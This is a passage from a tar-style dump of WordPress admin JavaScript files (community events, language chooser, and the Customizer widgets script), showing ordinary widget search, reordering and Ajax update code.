events.")),o["#community-events-location-message"]=!0,o[".community-events-toggle-location"]=!0),_.each(o,function(e,t){c(t).attr("aria-hidden",!e)}),i.attr("aria-expanded",o[".community-events-toggle-location"]),e.location&&(e.location.ip||e.location.latitude)?(p.toggleLocationForm("hide"),"user"===t&&i.trigger("focus")):p.toggleLocationForm("show")},populateDynamicEventFields:function(e,o){e=JSON.parse(JSON.stringify(e));return c.each(e,function(e,t){var n=p.getTimeZone(1e3*t.start_unix_timestamp);t.user_formatted_date=p.getFormattedDate(1e3*t.start_unix_timestamp,1e3*t.end_unix_timestamp,n),t.user_formatted_time=s(o,1e3*t.start_unix_timestamp,n),t.timeZoneAbbreviation=p.getTimeZoneAbbreviation(1e3*t.start_unix_timestamp)}),e},getTimeZone:function(e){var t=Intl.DateTimeFormat().resolvedOptions().timeZone;return t=void 0===t?p.getFlippedTimeZoneOffset(e):t},getFlippedTimeZoneOffset:function(e){return-1*new Date(e).getTimezoneOffset()},getTimeZoneAbbreviation:function(e){var t,n=new Date(e).toLocaleTimeString(void 0,{timeZoneName:"short"}).split(" ");return void 0===(t=3===n.length?n[2]:t)&&(n=p.getFlippedTimeZoneOffset(e),e=-1===Math.sign(n)?"":"+",t=l("GMT","Events widget offset prefix")+e+n/60),t},getFormattedDate:function(e,t,n){var o=u("l, M j, Y"),i=u("%1$s %2$d\u2013%3$d, %4$d"),a=u("%1$s %2$d \u2013 %3$s %4$d, %5$d"),i=t&&m("Y-m-d",e)!==m("Y-m-d",t)?m("Y-m",e)===m("Y-m",t)?d(i,s(l("F","upcoming events month format"),e,n),s(l("j","upcoming events day format"),e,n),s(l("j","upcoming events day format"),t,n),s(l("Y","upcoming events year format"),t,n)):d(a,s(l("F","upcoming events month format"),e,n),s(l("j","upcoming events day format"),e,n),s(l("F","upcoming events month format"),t,n),s(l("j","upcoming events day format"),t,n),s(l("Y","upcoming events year format"),t,n)):s(o,e,n);return i}};c("#dashboard_primary").is(":visible")?p.init():c(document).on("postbox-toggled",function(e,t){t=c(t);"dashboard_primary"===t.attr("id")&&t.is(":visible")&&p.init()})}),window.communityEventsData.l10n=window.communityEventsData.l10n||{enter_closest_city:"",error_occurred_please_try_again:"",attend_event_near_generic:"",could_not_locate_city:"",city_updated:""},window.communityEventsData.l10n=window.wp.deprecateL10nObject("communityEventsData.l10n",window.communityEventsData.l10n,"5.6.0"); language-chooser.min.js 0000644 00000000647 15222552267 0011126 0 ustar 00 /*! This file is auto-generated */ jQuery(function(n){var e=n("#language"),a=n("#language-continue");n("body").hasClass("language-chooser")&&(e.trigger("focus").on("change",function(){var n=e.children("option:selected");a.attr({value:n.data("continue"),lang:n.attr("lang")})}),n("form").on("submit",function(){e.children("option:selected").data("installed")||n(this).find(".step .spinner").css("visibility","visible")}))}); customize-widgets.js 0000644 00000214057 15222552267 0010611 0 ustar 00 /** * @output wp-admin/js/customize-widgets.js */ /* global _wpCustomizeWidgetsSettings */ (function( wp, $ ){ if ( ! wp || ! wp.customize ) { return; } // Set up our namespace... var api = wp.customize, l10n; /** * @namespace wp.customize.Widgets */ api.Widgets = api.Widgets || {}; api.Widgets.savedWidgetIds = {}; // Link settings. api.Widgets.data = _wpCustomizeWidgetsSettings || {}; l10n = api.Widgets.data.l10n; /** * wp.customize.Widgets.WidgetModel * * A single widget model. * * @class wp.customize.Widgets.WidgetModel * @augments Backbone.Model */ api.Widgets.WidgetModel = Backbone.Model.extend(/** @lends wp.customize.Widgets.WidgetModel.prototype */{ id: null, temp_id: null, classname: null, control_tpl: null, description: null, is_disabled: null, is_multi: null, multi_number: null, name: null, id_base: null, transport: null, params: [], width: null, height: null, search_matched: true }); /** * wp.customize.Widgets.WidgetCollection * * Collection for widget models. * * @class wp.customize.Widgets.WidgetCollection * @augments Backbone.Collection */ api.Widgets.WidgetCollection = Backbone.Collection.extend(/** @lends wp.customize.Widgets.WidgetCollection.prototype */{ model: api.Widgets.WidgetModel, // Controls searching on the current widget collection // and triggers an update event. doSearch: function( value ) { // Don't do anything if we've already done this search. // Useful because the search handler fires multiple times per keystroke. if ( this.terms === value ) { return; } // Updates terms with the value passed. this.terms = value; // If we have terms, run a search... if ( this.terms.length > 0 ) { this.search( this.terms ); } // If search is blank, set all the widgets as they matched the search to reset the views. if ( this.terms === '' ) { this.each( function ( widget ) { widget.set( 'search_matched', true ); } ); } }, // Performs a search within the collection. // @uses RegExp search: function( term ) { var match, haystack; // Escape the term string for RegExp meta characters. term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' ); // Consider spaces as word delimiters and match the whole string // so matching terms can be combined. term = term.replace( / /g, ')(?=.*' ); match = new RegExp( '^(?=.*' + term + ').+', 'i' ); this.each( function ( data ) { haystack = [ data.get( 'name' ), data.get( 'description' ) ].join( ' ' ); data.set( 'search_matched', match.test( haystack ) ); } ); } }); api.Widgets.availableWidgets = new api.Widgets.WidgetCollection( api.Widgets.data.availableWidgets ); /** * wp.customize.Widgets.SidebarModel * * A single sidebar model. * * @class wp.customize.Widgets.SidebarModel * @augments Backbone.Model */ api.Widgets.SidebarModel = Backbone.Model.extend(/** @lends wp.customize.Widgets.SidebarModel.prototype */{ after_title: null, after_widget: null, before_title: null, before_widget: null, 'class': null, description: null, id: null, name: null, is_rendered: false }); /** * wp.customize.Widgets.SidebarCollection * * Collection for sidebar models. * * @class wp.customize.Widgets.SidebarCollection * @augments Backbone.Collection */ api.Widgets.SidebarCollection = Backbone.Collection.extend(/** @lends wp.customize.Widgets.SidebarCollection.prototype */{ model: api.Widgets.SidebarModel }); api.Widgets.registeredSidebars = new api.Widgets.SidebarCollection( api.Widgets.data.registeredSidebars ); api.Widgets.AvailableWidgetsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Widgets.AvailableWidgetsPanelView.prototype */{ el: '#available-widgets', events: { 'input #widgets-search': 'search', 'focus .widget-tpl' : 'focus', 'click .widget-tpl' : '_submit', 'keypress .widget-tpl' : '_submit', 'keydown' : 'keyboardAccessible' }, // Cache current selected widget. selected: null, // Cache sidebar control which has opened panel. currentSidebarControl: null, $search: null, $clearResults: null, searchMatchesCount: null, /** * View class for the available widgets panel. * * @constructs wp.customize.Widgets.AvailableWidgetsPanelView * @augments wp.Backbone.View */ initialize: function() { var self = this; this.$search = $( '#widgets-search' ); this.$clearResults = this.$el.find( '.clear-results' ); _.bindAll( this, 'close' ); this.listenTo( this.collection, 'change', this.updateList ); this.updateList(); // Set the initial search count to the number of available widgets. this.searchMatchesCount = this.collection.length; /* * If the available widgets panel is open and the customize controls * are interacted with (i.e. available widgets panel is blurred) then * close the available widgets panel. Also close on back button click. */ $( '#customize-controls, #available-widgets .customize-section-title' ).on( 'click keydown', function( e ) { var isAddNewBtn = $( e.target ).is( '.add-new-widget, .add-new-widget *' ); if ( $( 'body' ).hasClass( 'adding-widget' ) && ! isAddNewBtn ) { self.close(); } } ); // Clear the search results and trigger an `input` event to fire a new search. this.$clearResults.on( 'click', function() { self.$search.val( '' ).trigger( 'focus' ).trigger( 'input' ); } ); // Close the panel if the URL in the preview changes. api.previewer.bind( 'url', this.close ); }, /** * Performs a search and handles selected widget. */ search: _.debounce( function( event ) { var firstVisible; this.collection.doSearch( event.target.value ); // Update the search matches count. this.updateSearchMatchesCount(); // Announce how many search results. this.announceSearchMatches(); // Remove a widget from being selected if it is no longer visible. if ( this.selected && ! this.selected.is( ':visible' ) ) { this.selected.removeClass( 'selected' ); this.selected = null; } // If a widget was selected but the filter value has been cleared out, clear selection. if ( this.selected && ! event.target.value ) { this.selected.removeClass( 'selected' ); this.selected = null; } // If a filter has been entered and a widget hasn't been selected, select the first one shown. if ( ! this.selected && event.target.value ) { firstVisible = this.$el.find( '> .widget-tpl:visible:first' ); if ( firstVisible.length ) { this.select( firstVisible ); } } // Toggle the clear search results button. if ( '' !== event.target.value ) { this.$clearResults.addClass( 'is-visible' ); } else if ( '' === event.target.value ) { this.$clearResults.removeClass( 'is-visible' ); } // Set a CSS class on the search container when there are no search results. if ( ! this.searchMatchesCount ) { this.$el.addClass( 'no-widgets-found' ); } else { this.$el.removeClass( 'no-widgets-found' ); } }, 500 ), /** * Updates the count of the available widgets that have the `search_matched` attribute. */ updateSearchMatchesCount: function() { this.searchMatchesCount = this.collection.where({ search_matched: true }).length; }, /** * Sends a message to the aria-live region to announce how many search results. */ announceSearchMatches: function() { var message = l10n.widgetsFound.replace( '%d', this.searchMatchesCount ) ; if ( ! this.searchMatchesCount ) { message = l10n.noWidgetsFound; } wp.a11y.speak( message ); }, /** * Changes visibility of available widgets. */ updateList: function() { this.collection.each( function( widget ) { var widgetTpl = $( '#widget-tpl-' + widget.id ); widgetTpl.toggle( widget.get( 'search_matched' ) && ! widget.get( 'is_disabled' ) ); if ( widget.get( 'is_disabled' ) && widgetTpl.is( this.selected ) ) { this.selected = null; } } ); }, /** * Highlights a widget. */ select: function( widgetTpl ) { this.selected = $( widgetTpl ); this.selected.siblings( '.widget-tpl' ).removeClass( 'selected' ); this.selected.addClass( 'selected' ); }, /** * Highlights a widget on focus. */ focus: function( event ) { this.select( $( event.currentTarget ) ); }, /** * Handles submit for keypress and click on widget. */ _submit: function( event ) { // Only proceed with keypress if it is Enter or Spacebar. if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) { return; } this.submit( $( event.currentTarget ) ); }, /** * Adds a selected widget to the sidebar. */ submit: function( widgetTpl ) { var widgetId, widget, widgetFormControl; if ( ! widgetTpl ) { widgetTpl = this.selected; } if ( ! widgetTpl || ! this.currentSidebarControl ) { return; } this.select( widgetTpl ); widgetId = $( this.selected ).data( 'widget-id' ); widget = this.collection.findWhere( { id: widgetId } ); if ( ! widget ) { return; } widgetFormControl = this.currentSidebarControl.addWidget( widget.get( 'id_base' ) ); if ( widgetFormControl ) { widgetFormControl.focus(); } this.close(); }, /** * Opens the panel. */ open: function( sidebarControl ) { this.currentSidebarControl = sidebarControl; // Wide widget controls appear over the preview, and so they need to be collapsed when the panel opens. _( this.currentSidebarControl.getWidgetFormControls() ).each( function( control ) { if ( control.params.is_wide ) { control.collapseForm(); } } ); if ( api.section.has( 'publish_settings' ) ) { api.section( 'publish_settings' ).collapse(); } $( 'body' ).addClass( 'adding-widget' ); this.$el.find( '.selected' ).removeClass( 'selected' ); // Reset search. this.collection.doSearch( '' ); if ( ! api.settings.browser.mobile ) { this.$search.trigger( 'focus' ); } }, /** * Closes the panel. */ close: function( options ) { options = options || {}; if ( options.returnFocus && this.currentSidebarControl ) { this.currentSidebarControl.container.find( '.add-new-widget' ).focus(); } this.currentSidebarControl = null; this.selected = null; $( 'body' ).removeClass( 'adding-widget' ); this.$search.val( '' ).trigger( 'input' ); }, /** * Adds keyboard accessibility to the panel. */ keyboardAccessible: function( event ) { var isEnter = ( event.which === 13 ), isEsc = ( event.which === 27 ), isDown = ( event.which === 40 ), isUp = ( event.which === 38 ), isTab = ( event.which === 9 ), isShift = ( event.shiftKey ), selected = null, firstVisible = this.$el.find( '> .widget-tpl:visible:first' ), lastVisible = this.$el.find( '> .widget-tpl:visible:last' ), isSearchFocused = $( event.target ).is( this.$search ), isLastWidgetFocused = $( event.target ).is( '.widget-tpl:visible:last' ); if ( isDown || isUp ) { if ( isDown ) { if ( isSearchFocused ) { selected = firstVisible; } else if ( this.selected && this.selected.nextAll( '.widget-tpl:visible' ).length !== 0 ) { selected = this.selected.nextAll( '.widget-tpl:visible:first' ); } } else if ( isUp ) { if ( isSearchFocused ) { selected = lastVisible; } else if ( this.selected && this.selected.prevAll( '.widget-tpl:visible' ).length !== 0 ) { selected = this.selected.prevAll( '.widget-tpl:visible:first' ); } } this.select( selected ); if ( selected ) { selected.trigger( 'focus' ); } else { this.$search.trigger( 'focus' ); } return; } // If enter pressed but nothing entered, don't do anything. if ( isEnter && ! this.$search.val() ) { return; } if ( isEnter ) { this.submit(); } else if ( isEsc ) { this.close( { returnFocus: true } ); } if ( this.currentSidebarControl && isTab && ( isShift && isSearchFocused || ! isShift && isLastWidgetFocused ) ) { this.currentSidebarControl.container.find( '.add-new-widget' ).focus(); event.preventDefault(); } } }); /** * Handlers for the widget-synced event, organized by widget ID base. * Other widgets may provide their own update handlers by adding * listeners for the widget-synced event. * * @alias wp.customize.Widgets.formSyncHandlers */ api.Widgets.formSyncHandlers = { /** * @param {jQuery.Event} e * @param {jQuery} widget * @param {string} newForm */ rss: function( e, widget, newForm ) { var oldWidgetError = widget.find( '.widget-error:first' ), newWidgetError = $( '<div>' + newForm + '</div>' ).find( '.widget-error:first' ); if ( oldWidgetError.length && newWidgetError.length ) { oldWidgetError.replaceWith( newWidgetError ); } else if ( oldWidgetError.length ) { oldWidgetError.remove(); } else if ( newWidgetError.length ) { widget.find( '.widget-content:first' ).prepend( newWidgetError ); } } }; api.Widgets.WidgetControl = api.Control.extend(/** @lends wp.customize.Widgets.WidgetControl.prototype */{ defaultExpandedArguments: { duration: 'fast', completeCallback: $.noop }, /** * wp.customize.Widgets.WidgetControl * * Customizer control for widgets. * Note that 'widget_form' must match the WP_Widget_Form_Customize_Control::$type * * @since 4.1.0 * * @constructs wp.customize.Widgets.WidgetControl * @augments wp.customize.Control */ initialize: function( id, options ) { var control = this; control.widgetControlEmbedded = false; control.widgetContentEmbedded = false; control.expanded = new api.Value( false ); control.expandedArgumentsQueue = []; control.expanded.bind( function( expanded ) { var args = control.expandedArgumentsQueue.shift(); args = $.extend( {}, control.defaultExpandedArguments, args ); control.onChangeExpanded( expanded, args ); }); control.altNotice = true; api.Control.prototype.initialize.call( control, id, options ); }, /** * Set up the control. * * @since 3.9.0 */ ready: function() { var control = this; /* * Embed a placeholder once the section is expanded. The full widget * form content will be embedded once the control itself is expanded, * and at this point the widget-added event will be triggered. */ if ( ! control.section() ) { control.embedWidgetControl(); } else { api.section( control.section(), function( section ) { var onExpanded = function( isExpanded ) { if ( isExpanded ) { control.embedWidgetControl(); section.expanded.unbind( onExpanded ); } }; if ( section.expanded() ) { onExpanded( true ); } else { section.expanded.bind( onExpanded ); } } ); } }, /** * Embed the .widget element inside the li container. * * @since 4.4.0 */ embedWidgetControl: function() { var control = this, widgetControl; if ( control.widgetControlEmbedded ) { return; } control.widgetControlEmbedded = true; widgetControl = $( control.params.widget_control ); control.container.append( widgetControl ); control._setupModel(); control._setupWideWidget(); control._setupControlToggle(); control._setupWidgetTitle(); control._setupReorderUI(); control._setupHighlightEffects(); control._setupUpdateUI(); control._setupRemoveUI(); }, /** * Embed the actual widget form inside of .widget-content and finally trigger the widget-added event. * * @since 4.4.0 */ embedWidgetContent: function() { var control = this, widgetContent; control.embedWidgetControl(); if ( control.widgetContentEmbedded ) { return; } control.widgetContentEmbedded = true; // Update the notification container element now that the widget content has been embedded. control.notifications.container = control.getNotificationsContainerElement(); control.notifications.render(); widgetContent = $( control.params.widget_content ); control.container.find( '.widget-content:first' ).append( widgetContent ); /* * Trigger widget-added event so that plugins can attach any event * listeners and dynamic UI elements. */ $( document ).trigger( 'widget-added', [ control.container.find( '.widget:first' ) ] ); }, /** * Handle changes to the setting */ _setupModel: function() { var self = this, rememberSavedWidgetId; // Remember saved widgets so we know which to trash (move to inactive widgets sidebar). rememberSavedWidgetId = function() { api.Widgets.savedWidgetIds[self.params.widget_id] = true; }; api.bind( 'ready', rememberSavedWidgetId ); api.bind( 'saved', rememberSavedWidgetId ); this._updateCount = 0; this.isWidgetUpdating = false; this.liveUpdateMode = true; // Update widget whenever model changes. this.setting.bind( function( to, from ) { if ( ! _( from ).isEqual( to ) && ! self.isWidgetUpdating ) { self.updateWidget( { instance: to } ); } } ); }, /** * Add special behaviors for wide widget controls */ _setupWideWidget: function() { var self = this, $widgetInside, $widgetForm, $customizeSidebar, $themeControlsContainer, positionWidget; if ( ! this.params.is_wide || $( window ).width() <= 640 /* max-width breakpoint in customize-controls.css */ ) { return; } $widgetInside = this.container.find( '.widget-inside' ); $widgetForm = $widgetInside.find( '> .form' ); $customizeSidebar = $( '.wp-full-overlay-sidebar-content:first' ); this.container.addClass( 'wide-widget-control' ); this.container.find( '.form:first' ).css( { 'max-width': this.params.width, 'min-height': this.params.height } ); /** * Keep the widget-inside positioned so the top of fixed-positioned * element is at the same top position as the widget-top. When the * widget-top is scrolled out of view, keep the widget-top in view; * likewise, don't allow the widget to drop off the bottom of the window. * If a widget is too tall to fit in the window, don't let the height * exceed the window height so that the contents of the widget control * will become scrollable (overflow:auto). */ positionWidget = function() { var offsetTop = self.container.offset().top, windowHeight = $( window ).height(), formHeight = $widgetForm.outerHeight(), top; $widgetInside.css( 'max-height', windowHeight ); top = Math.max( 0, // Prevent top from going off screen. Math.min( Math.max( offsetTop, 0 ), // Distance widget in panel is from top of screen. windowHeight - formHeight // Flush up against bottom of screen. ) ); $widgetInside.css( 'top', top ); }; $themeControlsContainer = $( '#customize-theme-controls' ); this.container.on( 'expand', function() { positionWidget(); $customizeSidebar.on( 'scroll', positionWidget ); $( window ).on( 'resize', positionWidget ); $themeControlsContainer.on( 'expanded collapsed', positionWidget ); } ); this.container.on( 'collapsed', function() { $customizeSidebar.off( 'scroll', positionWidget ); $( window ).off( 'resize', positionWidget ); $themeControlsContainer.off( 'expanded collapsed', positionWidget ); } ); // Reposition whenever a sidebar's widgets are changed. api.each( function( setting ) { if ( 0 === setting.id.indexOf( 'sidebars_widgets[' ) ) { setting.bind( function() { if ( self.container.hasClass( 'expanded' ) ) { positionWidget(); } } ); } } ); }, /** * Show/hide the control when clicking on the form title, when clicking * the close button */ _setupControlToggle: function() { var self = this, $closeBtn; this.container.find( '.widget-top' ).on( 'click', function( e ) { e.preventDefault(); var sidebarWidgetsControl = self.getSidebarWidgetsControl(); if ( sidebarWidgetsControl.isReordering ) { return; } self.expanded( ! self.expanded() ); } ); $closeBtn = this.container.find( '.widget-control-close' ); $closeBtn.on( 'click', function() { self.collapse(); self.container.find( '.widget-top .widget-action:first' ).focus(); // Keyboard accessibility. } ); }, /** * Update the title of the form if a title field is entered */ _setupWidgetTitle: function() { var self = this, updateTitle; updateTitle = function() { var title = self.setting().title, inWidgetTitle = self.container.find( '.in-widget-title' ); if ( title ) { inWidgetTitle.text( ': ' + title ); } else { inWidgetTitle.text( '' ); } }; this.setting.bind( updateTitle ); updateTitle(); }, /** * Set up the widget-reorder-nav */ _setupReorderUI: function() { var self = this, selectSidebarItem, $moveWidgetArea, $reorderNav, updateAvailableSidebars, template; /** * select the provided sidebar list item in the move widget area * * @param {jQuery} li */ selectSidebarItem = function( li ) { li.siblings( '.selected' ).removeClass( 'selected' ); li.addClass( 'selected' ); var isSelfSidebar = ( li.data( 'id' ) === self.params.sidebar_id ); self.container.find( '.move-widget-btn' ).prop( 'disabled', isSelfSidebar ); }; /** * Add the widget reordering elements to the widget control */ this.container.find( '.widget-title-action' ).after( $( api.Widgets.data.tpl.widgetReorderNav ) ); template = _.template( api.Widgets.data.tpl.moveWidgetArea ); $moveWidgetArea = $( template( { sidebars: _( api.Widgets.registeredSidebars.toArray() ).pluck( 'attributes' ) } ) ); this.container.find( '.widget-top' ).after( $moveWidgetArea ); /** * Update available sidebars when their rendered state changes */ updateAvailableSidebars = function() { var $sidebarItems = $moveWidgetArea.find( 'li' ), selfSidebarItem, renderedSidebarCount = 0; selfSidebarItem = $sidebarItems.filter( function(){ return $( this ).data( 'id' ) === self.params.sidebar_id; } ); $sidebarItems.each( function() { var li = $( this ), sidebarId, sidebar, sidebarIsRendered; sidebarId = li.data( 'id' ); sidebar = api.Widgets.registeredSidebars.get( sidebarId ); sidebarIsRendered = sidebar.get( 'is_rendered' ); li.toggle( sidebarIsRendered ); if ( sidebarIsRendered ) { renderedSidebarCount += 1; } if ( li.hasClass( 'selected' ) && ! sidebarIsRendered ) { selectSidebarItem( selfSidebarItem ); } } ); if ( renderedSidebarCount > 1 ) { self.container.find( '.move-widget' ).show(); } else { self.container.find( '.move-widget' ).hide(); } }; updateAvailableSidebars(); api.Widgets.registeredSidebars.on( 'change:is_rendered', updateAvailableSidebars ); /** * Handle clicks for up/down/move on the reorder nav */ $reorderNav = this.container.find( '.widget-reorder-nav' ); $reorderNav.find( '.move-widget, .move-widget-down, .move-widget-up' ).each( function() { $( this ).prepend( self.container.find( '.widget-title' ).text() + ': ' ); } ).on( 'click keypress', function( event ) { if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) { return; } $( this ).trigger( 'focus' ); if ( $( this ).is( '.move-widget' ) ) { self.toggleWidgetMoveArea(); } else { var isMoveDown = $( this ).is( '.move-widget-down' ), isMoveUp = $( this ).is( '.move-widget-up' ), i = self.getWidgetSidebarPosition(); if ( ( isMoveUp && i === 0 ) || ( isMoveDown && i === self.getSidebarWidgetsControl().setting().length - 1 ) ) { return; } if ( isMoveUp ) { self.moveUp(); wp.a11y.speak( l10n.widgetMovedUp ); } else { self.moveDown(); wp.a11y.speak( l10n.widgetMovedDown ); } $( this ).trigger( 'focus' ); // Re-focus after the container was moved. } } ); /** * Handle selecting a sidebar to move to */ this.container.find( '.widget-area-select' ).on( 'click keypress', 'li', function( event ) { if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) { return; } event.preventDefault(); selectSidebarItem( $( this ) ); } ); /** * Move widget to another sidebar */ this.container.find( '.move-widget-btn' ).click( function() { self.getSidebarWidgetsControl().toggleReordering( false ); var oldSidebarId = self.params.sidebar_id, newSidebarId = self.container.find( '.widget-area-select li.selected' ).data( 'id' ), oldSidebarWidgetsSetting, newSidebarWidgetsSetting, oldSidebarWidgetIds, newSidebarWidgetIds, i; oldSidebarWidgetsSetting = api( 'sidebars_widgets[' + oldSidebarId + ']' ); newSidebarWidgetsSetting = api( 'sidebars_widgets[' + newSidebarId + ']' ); oldSidebarWidgetIds = Array.prototype.slice.call( oldSidebarWidgetsSetting() ); newSidebarWidgetIds = Array.prototype.slice.call( newSidebarWidgetsSetting() ); i = self.getWidgetSidebarPosition(); oldSidebarWidgetIds.splice( i, 1 ); newSidebarWidgetIds.push( self.params.widget_id ); oldSidebarWidgetsSetting( oldSidebarWidgetIds ); newSidebarWidgetsSetting( newSidebarWidgetIds ); self.focus(); } ); }, /** * Highlight widgets in preview when interacted with in the Customizer */ _setupHighlightEffects: function() { var self = this; // Highlight whenever hovering or clicking over the form. this.container.on( 'mouseenter click', function() { self.setting.previewer.send( 'highlight-widget', self.params.widget_id ); } ); // Highlight when the setting is updated. this.setting.bind( function() { self.setting.previewer.send( 'highlight-widget', self.params.widget_id ); } ); }, /** * Set up event handlers for widget updating */ _setupUpdateUI: function() { var self = this, $widgetRoot, $widgetContent, $saveBtn, updateWidgetDebounced, formSyncHandler; $widgetRoot = this.container.find( '.widget:first' ); $widgetContent = $widgetRoot.find( '.widget-content:first' ); // Configure update button. $saveBtn = this.container.find( '.widget-control-save' ); $saveBtn.val( l10n.saveBtnLabel ); $saveBtn.attr( 'title', l10n.saveBtnTooltip ); $saveBtn.removeClass( 'button-primary' ); $saveBtn.on( 'click', function( e ) { e.preventDefault(); self.updateWidget( { disable_form: true } ); // @todo disable_form is unused? } ); updateWidgetDebounced = _.debounce( function() { self.updateWidget(); }, 250 ); // Trigger widget form update when hitting Enter within an input. $widgetContent.on( 'keydown', 'input', function( e ) { if ( 13 === e.which ) { // Enter. e.preventDefault(); self.updateWidget( { ignoreActiveElement: true } ); } } ); // Handle widgets that support live previews. $widgetContent.on( 'change input propertychange', ':input', function( e ) { if ( ! self.liveUpdateMode ) { return; } if ( e.type === 'change' || ( this.checkValidity && this.checkValidity() ) ) { updateWidgetDebounced(); } } ); // Remove loading indicators when the setting is saved and the preview updates. this.setting.previewer.channel.bind( 'synced', function() { self.container.removeClass( 'previewer-loading' ); } ); api.previewer.bind( 'widget-updated', function( updatedWidgetId ) { if ( updatedWidgetId === self.params.widget_id ) { self.container.removeClass( 'previewer-loading' ); } } ); formSyncHandler = api.Widgets.formSyncHandlers[ this.params.widget_id_base ]; if ( formSyncHandler ) { $( document ).on( 'widget-synced', function( e, widget ) { if ( $widgetRoot.is( widget ) ) { formSyncHandler.apply( document, arguments ); } } ); } }, /** * Update widget control to indicate whether it is currently rendered. * * Overrides api.Control.toggle() * * @since 4.1.0 * * @param {boolean} active * @param {Object} args * @param {function} args.completeCallback */ onChangeActive: function ( active, args ) { // Note: there is a second 'args' parameter being passed, merged on top of this.defaultActiveArguments. this.container.toggleClass( 'widget-rendered', active ); if ( args.completeCallback ) { args.completeCallback(); } }, /** * Set up event handlers for widget removal */ _setupRemoveUI: function() { var self = this, $removeBtn, replaceDeleteWithRemove; // Configure remove button. $removeBtn = this.container.find( '.widget-control-remove' ); $removeBtn.on( 'click', function() { // Find an adjacent element to add focus to when this widget goes away. var $adjacentFocusTarget; if ( self.container.next().is( '.customize-control-widget_form' ) ) { $adjacentFocusTarget = self.container.next().find( '.widget-action:first' ); } else if ( self.container.prev().is( '.customize-control-widget_form' ) ) { $adjacentFocusTarget = self.container.prev().find( '.widget-action:first' ); } else { $adjacentFocusTarget = self.container.next( '.customize-control-sidebar_widgets' ).find( '.add-new-widget:first' ); } self.container.slideUp( function() { var sidebarsWidgetsControl = api.Widgets.getSidebarWidgetControlContainingWidget( self.params.widget_id ), sidebarWidgetIds, i; if ( ! sidebarsWidgetsControl ) { return; } sidebarWidgetIds = sidebarsWidgetsControl.setting().slice(); i = _.indexOf( sidebarWidgetIds, self.params.widget_id ); if ( -1 === i ) { return; } sidebarWidgetIds.splice( i, 1 ); sidebarsWidgetsControl.setting( sidebarWidgetIds ); $adjacentFocusTarget.focus(); // Keyboard accessibility. } ); } ); replaceDeleteWithRemove = function() { $removeBtn.text( l10n.removeBtnLabel ); // wp_widget_control() outputs the button as "Delete". $removeBtn.attr( 'title', l10n.removeBtnTooltip ); }; if ( this.params.is_new ) { api.bind( 'saved', replaceDeleteWithRemove ); } else { replaceDeleteWithRemove(); } }, /** * Find all inputs in a widget container that should be considered when * comparing the loaded form with the sanitized form, whose fields will * be aligned to copy the sanitized over. The elements returned by this * are passed into this._getInputsSignature(), and they are iterated * over when copying sanitized values over to the form loaded. * * @param {jQuery} container element in which to look for inputs * @return {jQuery} inputs * @private */ _getInputs: function( container ) { return $( container ).find( ':input[name]' ); }, /** * Iterate over supplied inputs and create a signature string for all of them together. * This string can be used to compare whether or not the form has all of the same fields. * * @param {jQuery} inputs * @return {string} * @private */ _getInputsSignature: function( inputs ) { var inputsSignatures = _( inputs ).map( function( input ) { var $input = $( input ), signatureParts; if ( $input.is( ':checkbox, :radio' ) ) { signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ), $input.prop( 'value' ) ]; } else { signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ) ]; } return signatureParts.join( ',' ); } ); return inputsSignatures.join( ';' ); }, /** * Get the state for an input depending on its type. * * @param {jQuery|Element} input * @return {string|boolean|Array|*} * @private */ _getInputState: function( input ) { input = $( input ); if ( input.is( ':radio, :checkbox' ) ) { return input.prop( 'checked' ); } else if ( input.is( 'select[multiple]' ) ) { return input.find( 'option:selected' ).map( function () { return $( this ).val(); } ).get(); } else { return input.val(); } }, /** * Update an input's state based on its type. * * @param {jQuery|Element} input * @param {string|boolean|Array|*} state * @private */ _setInputState: function ( input, state ) { input = $( input ); if ( input.is( ':radio, :checkbox' ) ) { input.prop( 'checked', state ); } else if ( input.is( 'select[multiple]' ) ) { if ( ! Array.isArray( state ) ) { state = []; } else { // Make sure all state items are strings since the DOM value is a string. state = _.map( state, function ( value ) { return String( value ); } ); } input.find( 'option' ).each( function () { $( this ).prop( 'selected', -1 !== _.indexOf( state, String( this.value ) ) ); } ); } else { input.val( state ); } }, /*********************************************************************** * Begin public API methods **********************************************************************/ /** * @return {wp.customize.controlConstructor.sidebar_widgets[]} */ getSidebarWidgetsControl: function() { var settingId, sidebarWidgetsControl; settingId = 'sidebars_widgets[' + this.params.sidebar_id + ']'; sidebarWidgetsControl = api.control( settingId ); if ( ! sidebarWidgetsControl ) { return; } return sidebarWidgetsControl; }, /** * Submit the widget form via Ajax and get back the updated instance, * along with the new widget control form to render. * * @param {Object} [args] * @param {Object|null} [args.instance=null] When the model changes, the instance is sent here; otherwise, the inputs from the form are used * @param {Function|null} [args.complete=null] Function which is called when the request finishes. Context is bound to the control. First argument is any error. Following arguments are for success. * @param {boolean} [args.ignoreActiveElement=false] Whether or not updating a field will be deferred if focus is still on the element. */ updateWidget: function( args ) { var self = this, instanceOverride, completeCallback, $widgetRoot, $widgetContent, updateNumber, params, data, $inputs, processing, jqxhr, isChanged; // The updateWidget logic requires that the form fields to be fully present. self.embedWidgetContent(); args = $.extend( { instance: null, complete: null, ignoreActiveElement: false }, args ); instanceOverride = args.instance; completeCallback = args.complete; this._updateCount += 1; updateNumber = this._updateCount; $widgetRoot = this.container.find( '.widget:first' ); $widgetContent = $widgetRoot.find( '.widget-content:first' ); // Remove a previous error message. $widgetContent.find( '.widget-error' ).remove(); this.container.addClass( 'widget-form-loading' ); this.container.addClass( 'previewer-loading' ); processing = api.state( 'processing' ); processing( processing() + 1 ); if ( ! this.liveUpdateMode ) { this.container.addClass( 'widget-form-disabled' ); } params = {}; params.action = 'update-widget'; params.wp_customize = 'on'; params.nonce = api.settings.nonce['update-widget']; params.customize_theme = api.settings.theme.stylesheet; params.customized = wp.customize.previewer.query().customized; data = $.param( params ); $inputs = this._getInputs( $widgetContent ); /* * Store the value we're submitting in data so that when the response comes back, * we know if it got sanitized; if there is no difference in the sanitized value, * then we do not need to touch the UI and mess up the user's ongoing editing. */ $inputs.each( function() { $( this ).data( 'state' + updateNumber, self._getInputState( this ) ); } ); if ( instanceOverride ) { data += '&' + $.param( { 'sanitized_widget_setting': JSON.stringify( instanceOverride ) } ); } else { data += '&' + $inputs.serialize(); } data 